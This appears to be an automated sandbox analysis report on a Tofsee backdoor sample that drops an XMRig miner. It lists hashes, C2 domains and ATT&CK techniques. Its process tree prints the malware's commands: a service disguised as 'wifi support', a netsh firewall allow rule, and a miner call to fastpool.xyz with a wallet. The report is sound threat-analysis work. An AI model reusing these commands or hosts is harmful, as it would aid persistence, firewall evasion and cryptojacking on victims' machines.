Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-09-2022 01:37

General

  • Target

    6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818.exe

  • Size

    197KB

  • MD5

    b44b9f4497332c165effe7e5aebbe4d9

  • SHA1

    2691cd88c4ae2c351cd292a551da798f6023440e

  • SHA256

    6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818

  • SHA512

    cf9cd66677ba92618a646a959efb4603d5c2ff2aa808b848be6215e976aa7e4686723963970c87a4d021c9b82fe675d201837cf54d99750f88e29cf7f8643cbf

  • SSDEEP

    3072:Wiz4MyLvL4klKN51fIR6BtbV9AZEbyeWyfElB1X/PkkXx:kLvblSh7oqbrEN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818.exe
    "C:\Users\Admin\AppData\Local\Temp\6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bcngrafr\
      2⤵
        PID:1112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tkzlbdzs.exe" C:\Windows\SysWOW64\bcngrafr\
        2⤵
          PID:2268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bcngrafr binPath= "C:\Windows\SysWOW64\bcngrafr\tkzlbdzs.exe /d\"C:\Users\Admin\AppData\Local\Temp\6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1572
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bcngrafr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bcngrafr
          2⤵
          • Launches sc.exe
          PID:2304
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3168
      • C:\Windows\SysWOW64\bcngrafr\tkzlbdzs.exe
        C:\Windows\SysWOW64\bcngrafr\tkzlbdzs.exe /d"C:\Users\Admin\AppData\Local\Temp\6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5044
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4692
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3544

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tkzlbdzs.exe
        Filesize

        14.3MB

        MD5

        ebad27f208df731e9105e3b94ad465c3

        SHA1

        6903f80482db230fa748d5bcf707ee946eeba3eb

        SHA256

        c59ff1d82a55bdf393cdfee7232ea816be7b5c1242116e80d634d9144c52d17d

        SHA512

        4efabed53338e84d20ac5846193232d734e4c896a9d7f0e7bec901c1f3b1d111ee41db3c49cee12a3e7d35e2989840841307c9d6d2c49f57e09f4d49d23e5b2a

      • C:\Windows\SysWOW64\bcngrafr\tkzlbdzs.exe
        Filesize

        14.3MB

        MD5

        ebad27f208df731e9105e3b94ad465c3

        SHA1

        6903f80482db230fa748d5bcf707ee946eeba3eb

        SHA256

        c59ff1d82a55bdf393cdfee7232ea816be7b5c1242116e80d634d9144c52d17d

        SHA512

        4efabed53338e84d20ac5846193232d734e4c896a9d7f0e7bec901c1f3b1d111ee41db3c49cee12a3e7d35e2989840841307c9d6d2c49f57e09f4d49d23e5b2a

      • memory/1112-173-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1112-168-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1112-169-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1112-167-0x0000000000000000-mapping.dmp
      • memory/1112-170-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1112-171-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1572-183-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1572-179-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1572-178-0x0000000000000000-mapping.dmp
      • memory/1572-181-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/1572-180-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/2268-177-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/2268-176-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/2268-175-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/2268-174-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/2268-172-0x0000000000000000-mapping.dmp
      • memory/2268-182-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/2304-195-0x0000000000000000-mapping.dmp
      • memory/3168-208-0x0000000000000000-mapping.dmp
      • memory/3316-138-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-136-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-141-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-142-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-143-0x0000000000590000-0x00000000006DA000-memory.dmp
        Filesize

        1.3MB

      • memory/3316-140-0x00000000008B6000-0x00000000008C7000-memory.dmp
        Filesize

        68KB

      • memory/3316-144-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-145-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-146-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-147-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-148-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-149-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-150-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-151-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-152-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-153-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-154-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-155-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-156-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-157-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-158-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-159-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-160-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/3316-161-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-162-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-163-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-164-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-165-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-166-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-117-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-137-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-139-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-135-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-134-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-133-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-132-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-131-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-130-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-129-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-128-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-127-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-126-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-125-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-124-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-123-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-122-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-121-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-118-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-213-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/3316-210-0x00000000008B6000-0x00000000008C7000-memory.dmp
        Filesize

        68KB

      • memory/3316-119-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3316-120-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/3544-520-0x000000000335259C-mapping.dmp
      • memory/4564-188-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/4564-187-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/4564-186-0x00000000771E0000-0x000000007736E000-memory.dmp
        Filesize

        1.6MB

      • memory/4564-185-0x0000000000000000-mapping.dmp
      • memory/4692-312-0x0000000002989A6B-mapping.dmp
      • memory/4692-377-0x0000000002980000-0x0000000002995000-memory.dmp
        Filesize

        84KB

      • memory/4692-485-0x0000000002980000-0x0000000002995000-memory.dmp
        Filesize

        84KB

      • memory/5044-279-0x0000000000861000-0x0000000000872000-memory.dmp
        Filesize

        68KB

      • memory/5044-283-0x0000000000590000-0x00000000006DA000-memory.dmp
        Filesize

        1.3MB

      • memory/5044-319-0x0000000000861000-0x0000000000872000-memory.dmp
        Filesize

        68KB

      • memory/5044-322-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB